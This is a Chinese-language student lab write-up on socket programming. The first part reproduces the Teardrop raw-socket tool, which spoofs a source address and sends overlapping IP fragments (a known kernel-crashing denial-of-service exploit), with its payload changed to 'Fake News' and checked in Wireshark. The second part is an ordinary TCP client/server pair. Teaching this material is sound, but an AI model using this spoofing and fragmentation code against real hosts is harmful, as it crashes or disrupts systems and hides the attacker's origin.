Socket编程实验
完成“网络编程技术”参考书上 “2.11 原始套接字编程”中的Teardrop代码编程,伪造一个虚假地址的IP包,包的内容填入Fake News。发送此包。并用wireshark抓包进行验证。
1.创建一个.c文件并写入代码
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <errno.h>
#ifdef STRANGE_BSD_BYTE_ORDERING_THING
/* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */
#define FIX(n) (n)
#else
/* OpenBSD 2.1, all Linux */
#define FIX(n) htons(n)
#endif /* STRANGE_BSD_BYTE_ORDERING_THING */
#define IP_MF 0x2000 /* More IP fragment en route */
#define IPH 0x14 /* IP header size */
#define UDPH 0x8 /* UDP header size */
#define PADDING 0x1c /* datagram frame padding for first packet */
#define MAGIC 0x3 /* Magic Fragment Constant (tm). Should be 2 or 3 */
#define COUNT 0x1 /* Linux dies with 1, NT is more stalwart and can
* withstand maybe 5 or 10 sometimes... Experiment.*/
void usage(u_char *);
u_long name_resolve(u_char *);
void send_frags(int, u_long, u_long, u_short, u_short);
int main(int argc, char **argv)
{
int one = 1, count = 0, i, rip_sock;
// 定义源地址和目的地址
u_long src_ip = 0, dst_ip = 0;
// 定义源端口和目的端口
u_short src_prt = 0, dst_prt = 0;
// 定义一个32位的IPv4地址
struct in_addr addr;
printf("teardrop route|daemon9\n\n");
//创建原始套接字
if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
{
fprintf(stderr, "raw socket");
exit(1);
}
//设置套接字选项IP_HDRINCL
if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL,
(char *)&one, sizeof(one))< 0)
{
fprintf(stderr, "IP_HDRINCL");
exit(1);
}
if (argc < 3)
usage(argv[0]);
// 设置源IP 和 目的IP
if(!(src_ip=name_resolve(argv[1]))||!(dst_ip = name_resolve(argv[2])))
{
fprintf(stderr, "What the hell kind of IP address is that?\n");
exit(1);
}
while ((i = getopt(argc, argv, "s:t:n:")) != EOF)
{
switch (i)
{
case 's': // source port (should be emphemeral)
src_prt = (u_short)atoi(optarg);
break;
case 't': // dest port (DNS, anyone?)
dst_prt = (u_short)atoi(optarg);
break;
case 'n': // number to send
count = atoi(optarg);
break;
default :
usage(argv[0]);
break; // NOTREACHED
}
}
srandom((unsigned)(utimes("0",(time_t)0)));
if (!src_prt) src_prt = (random() % 0xffff);
if (!dst_prt) dst_prt = (random() % 0xffff);
if (!count)
count = COUNT;
printf("Death on flaxen wings:\n");
addr.s_addr = src_ip;
printf("From: %15s.%5d\n", inet_ntoa(addr), src_prt);
addr.s_addr = dst_ip;
printf(" To: %15s.%5d\n", inet_ntoa(addr), dst_prt);
printf(" Amt: %5d\n", count);
printf("[\n ");
for (i = 0; i < count; i++)
{
send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
// printf("b00m ");
usleep(500);
}
printf("]\n");
return (0);
}
// 设置 IP 包的内容
void send_frags(int sock, u_long src_ip, u_long dst_ip,u_short src_prt,u_short dst_prt)
{
u_char *packet = NULL, *p_ptr = NULL, *flag = NULL; // packet pointers
u_char byte; // a byte
// 套接字地址结构
struct sockaddr_in sin; /* socket protocol structure */
sin.sin_family = AF_INET;
sin.sin_port = src_prt;
sin.sin_addr.s_addr = dst_ip;
packet = (u_char *)malloc(IPH + UDPH + PADDING);
p_ptr = packet;
flag = packet;
bzero((u_char *)p_ptr, IPH + UDPH + PADDING);
// IP version and header length
byte = 0x45;
memcpy(p_ptr, &byte, sizeof(u_char));
p_ptr += 2; // IP TOS (skipped)
// total length
*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING);
p_ptr += 2;
*((u_short *)p_ptr) = htons(242); // IP id
p_ptr += 2;
//IP frag flags and offset
*((u_short *)p_ptr) |= FIX(IP_MF);
p_ptr += 2;
*((u_short *)p_ptr) = 0x40; // IP TTL
byte = IPPROTO_UDP;
memcpy(p_ptr + 1, &byte, sizeof(u_char));
// IP checksum filled in by kernel
p_ptr += 4;
// IP source address
*((u_long *)p_ptr) = src_ip;
p_ptr += 4;
// IP destination address
*((u_long *)p_ptr) = dst_ip;
p_ptr += 4;
*((u_short *)p_ptr) = htons(src_prt); // UDP source port
p_ptr += 2;
*((u_short *)p_ptr) = htons(dst_prt); // UDP destination port
p_ptr += 2;
*((u_short *)p_ptr) = htons(PADDING); // UDP total length
p_ptr += 4;
// 发送数据:Fake News
*((u_short *)p_ptr) = 0x46;
p_ptr++;
*((u_short *)p_ptr) = 0x61;
p_ptr++;
*((u_short *)p_ptr) = 0x6B;
p_ptr++;
*((u_short *)p_ptr) = 0x65;
p_ptr++;
*((u_short *)p_ptr) = 0x20;
p_ptr++;
*((u_short *)p_ptr) = 0x4E;
p_ptr++;
*((u_short *)p_ptr) = 0x65;
p_ptr++;
*((u_short *)p_ptr) = 0x77;
p_ptr++;
*((u_short *)p_ptr) = 0x73;
int i=1;
while(i <= 56)
{
printf("%x\t",*flag);
flag++;
if(0 == i%8)
printf("\n");
i++;
}
if (sendto(sock, packet, IPH + UDPH + PADDING, 0,
(struct sockaddr *)&sin,sizeof(struct sockaddr)) == -1)
{
fprintf(stderr, "\nsendto");
free(packet);
exit(1);
}
// IP total length is 2 bytes into the header
p_ptr = &packet[2];
*((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
// IP offset is 6 bytes into the header
p_ptr += 4;
*((u_short *)p_ptr) = FIX(MAGIC);
if (sendto(sock, packet, IPH+MAGIC+1, 0,
(struct sockaddr *)&sin,sizeof(struct sockaddr)) == -1)
{
fprintf(stderr, "\nsendto");
free(packet);
exit(1);
}
free(packet);
}
// 获取主机信息
u_long name_resolve(u_char *host_name)
{
struct in_addr addr;
struct hostent *host_ent;
if ((addr.s_addr = inet_addr(host_name)) == -1)
{
if (!(host_ent = gethostbyname(host_name))) return (0);
bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length);
}
return (addr.s_addr);
}
void usage(u_char *name)
{
fprintf(stderr, "%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",name);
exit(0);
}
2编译并运行
3用wireshark验证
完成“网络编程技术”参考书上 “2.12 SOCKET应用实例”中的两个编程实例,并在ubuntu与树莓派之间进行验证
1再ubuntu下创建一个.c文件并写入代码,client端
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#define PORT "9090" //the port client will be connecting to
#define MAXDATASIZE 100 //max number of bytes we can get at once
//get sockaddr, IPv4 or IPv6
void *get_in_addr(struct sockaddr *sa)
{
if(sa->sa_family == AF_INET)
{
return &(((struct sockaddr_in*)sa)->sin_addr);
}
return &(((struct sockaddr_in6*)sa)->sin6_addr);
}
int main(int argc, char *argv[])
{
int sockfd, numbytes;
char buf[MAXDATASIZE];
struct addrinfo hints, *servinfo, *p;
/*
typedef struct addrinfo {
int ai_flags; //AI_PASSIVE,AI_CANONNAME,AI_NUMERICHOST
int ai_family; //AF_INET,AF_INET6
int ai_socktype; //SOCK_STREAM,SOCK_DGRAM
int ai_protocol; //IPPROTO_IP, IPPROTO_IPV4, IPPROTO_IPV6 etc.
size_t ai_addrlen; //must be zero or a null pointer
char* ai_canonname; //must be zero or a null pointer
struct sockaddr* ai_addr; //must be zero or a null pointer
struct addrinfo* ai_next; //must be zero or a null pointer
}
其中ai_flags、ai_family、ai_socktype说明如下:
参数 取值 值 说明
ai_family AF_INET 2 IPv4
AF_INET6 23 IPv6
AF_UNSPEC 0 协议无关
ai_protocol IPPROTO_IP 0 IP协议
IPPROTO_IPV4 4 IPv4
IPPROTO_IPV6 41 IPv6
IPPROTO_UDP 17 UDP
IPPROTO_TCP 6 TCP
ai_socktype SOCK_STREAM 1 流
SOCK_DGRAM 2 数据报
ai_flags AI_PASSIVE 1 被动的,用于bind,通常用于server socket
AI_CANONNAME 2
AI_NUMERICHOST 4 地址为数字串
*/
int rv;
char s[INET6_ADDRSTRLEN];
//如果命令行参数不等于 2 ,则执行下面的语句
if(argc != 2)
{
fprintf(stderr, "usage:client hostname\n"); //打印错误消息
exit(1); //退出
}
//将hints内存的内容置 0
memset(&hints, 0, sizeof hints);
//设置协议无关
hints.ai_family = AF_UNSPEC;
//设置套接为流
hints.ai_socktype = SOCK_STREAM;
/*
int getaddrinfo( const char *hostname, const char *service,
const struct addrinfo *hints, struct addrinfo **result );
参数说明
hostname:一个主机名或者地址串(IPv4的点分十进制串或者IPv6的16进制串)
service:服务名可以是十进制的端口号,也可以是已定义的服务名称,如ftp、http等
hints:可以是一个空指针,也可以是一个指向某个addrinfo结构体的指针,
调用者在这个结构中填入关于期望返回的信息类型的暗示。
举例来说:指定的服务既可支持TCP也可支持UDP,
所以调用者可以把hints结构中的ai_socktype成员设置成SOCK_DGRAM,
使得返回的仅仅是适用于数据报套接口的信息。
result:本函数通过result指针参数返回一个指向addrinfo结构体链表的指针。
返回值:0——成功,非0——出错
getaddrinfo 函数能够处理名字到地址以及服务到端口这两种转换,
返回的是一个sockaddr结构的链表而不是一个地址清单。
这些sockaddr结构随后可由套接口函数直接使用。
如此一来,getaddrinfo函数把协议相关性安全隐藏在这个库函数内部。
应用程序只要处理由getaddrinfo函数填写的套接口地址结构。
*/
if((rv = getaddrinfo(argv[1], PORT, &hints, &servinfo)) != 0)
{
fprintf(stderr, "getaddrinfo:%s\n",gai_strerror(rv));
return 1;
}
//遍历所有返回结果并链接到第一个成功连接的套接
for(p = servinfo; p != NULL; p = p->ai_next)
{
//创建一个套接字
if((sockfd = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) == -1)
{
perror("client:socket");
continue;
}
//连接状态判断
if(connect(sockfd, p->ai_addr, p->ai_addrlen) == -1)
{
close(sockfd);
perror("client:connect");
continue;
}
//如果创建套接字成功且连接成功,则退出循环
break;
}
//如果套接口地址为空,则打印结果
if(p == NULL)
{
fprintf(stderr, "client:failed to connect\n");
return 2;
}
//inet_ntop 函数可以将 IP 地址在“点分十进制”和“整数”之间转换
inet_ntop(p->ai_family, get_in_addr((struct sockaddr*)p->ai_addr), s, sizeof s);
printf("client:connecting to %s\n",s);
//freeaddrinfo 函数释放 getaddriinfo 函数返回的存储空间
freeaddrinfo(servinfo);
//recv 函数用于判断缓冲区数据传输的状态,传输异常则打印消息比并退出
if((numbytes = recv(sockfd, buf, MAXDATASIZE-1, 0)) == -1)
{
perror("recv");
exit(1);
}
//将字符数组的最后一位置 \0 ,用于后面一次性输出
buf[numbytes] = '\0';
printf("client:received %s\n",buf);
close(sockfd);
return 0;
}
2.在树莓派上创建一个.c文件并写入代码,server端:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <sys/wait.h>
#include <signal.h>
#define PORT "9090" //the port users will be connecting to
#define BACKLOG 10 //how many pending connections queue will hold
void sigchld_handler(int s)
{
//Waitpid temporarily stops the execution of the current process until a signal arrives or the child process terminates.
while(waitpid(-1, NULL, WNOHANG) > 0);
}
//get sockaddr, IPv4 or IPv6:
void *get_in_addr(struct sockaddr *sa)
{
if(sa->sa_family == AF_INET)
{
return &(((struct sockaddr_in*)sa)->sin_addr);
}
return &(((struct sockaddr_in6*)sa)->sin6_addr);
}
int main(void)
{
int sockfd, new_fd; //listen on sock_fd,new connection on new_fd
struct addrinfo hints, *servinfo, *p;
struct sockaddr_storage their_addr; //connector's address information
socklen_t sin_size;
//The data type "socklen_t" and int should have the same length.
//Otherwise, you break the padding of the BSD socket layer.
struct sigaction sa;
//Sigaction is a function that can be used to query or set up signal processing
int yes = 1;
char s[INET6_ADDRSTRLEN];
int rv;
//Set the Hints memory to zero
memset(&hints, 0, sizeof hints);
hints.ai_family = AF_UNSPEC;
hints.ai_socktype = SOCK_STREAM;
hints.ai_flags = AI_PASSIVE; //use my IP
if((rv = getaddrinfo(NULL, PORT, &hints, &servinfo)) != 0)
{
fprintf(stderr, "getaddrinfo:%s\n", gai_strerror(rv));
return 1;
}
//loop through all the results and bind to the first we can
for(p = servinfo; p != NULL; p = p->ai_next)
{
if((sockfd = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) == -1)
{
perror("server:socket");
continue;
}
if(setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1)
{
perror("setsockopt");
exit(1);
}
if(bind(sockfd, p->ai_addr, p->ai_addrlen) == -1)
{
close(sockfd);
perror("server:bind");
continue;
}
break;
}
//If the pointer P is null, an error message is printed
if(p == NULL)
{
fprintf(stderr, "server:failed to bind\n");
return 2;
}
//all done with this structure
freeaddrinfo(servinfo);
/*
Leave a socket in the state of listening for incoming connection requests
If the listening fails, exit
*/
if(listen(sockfd, BACKLOG) == -1)
{
perror("listen");
exit(1);
}
sa.sa_handler = sigchld_handler; //reap all dead processes
sigemptyset(&sa.sa_mask);
sa.sa_flags = SA_RESTART;
if(sigaction(SIGCHLD, &sa, NULL) == -1)
{
perror("sigaction");
exit(1);
}
printf("server:waiting for connections...\n");
//main accept() loop
while(1)
{
sin_size = sizeof their_addr;
new_fd = accept(sockfd, (struct sockaddr*)&their_addr, &sin_size);
if(new_fd == -1)
{
perror("accept");
continue;
}
inet_ntop(their_addr.ss_family, get_in_addr((struct sockaddr*)&their_addr), s, sizeof s);
printf("server:got connection from %s\n",s);
if(!fork()) //this is the child process
{
close(sockfd); //child doesn't need the listener
if(send(new_fd, "Hello,world!", 13, 0) == -1)
perror("send");
close(new_fd);
exit(0);
}
close(new_fd); //parent doesn't need this
return 0;
}
3.把他们编译并运行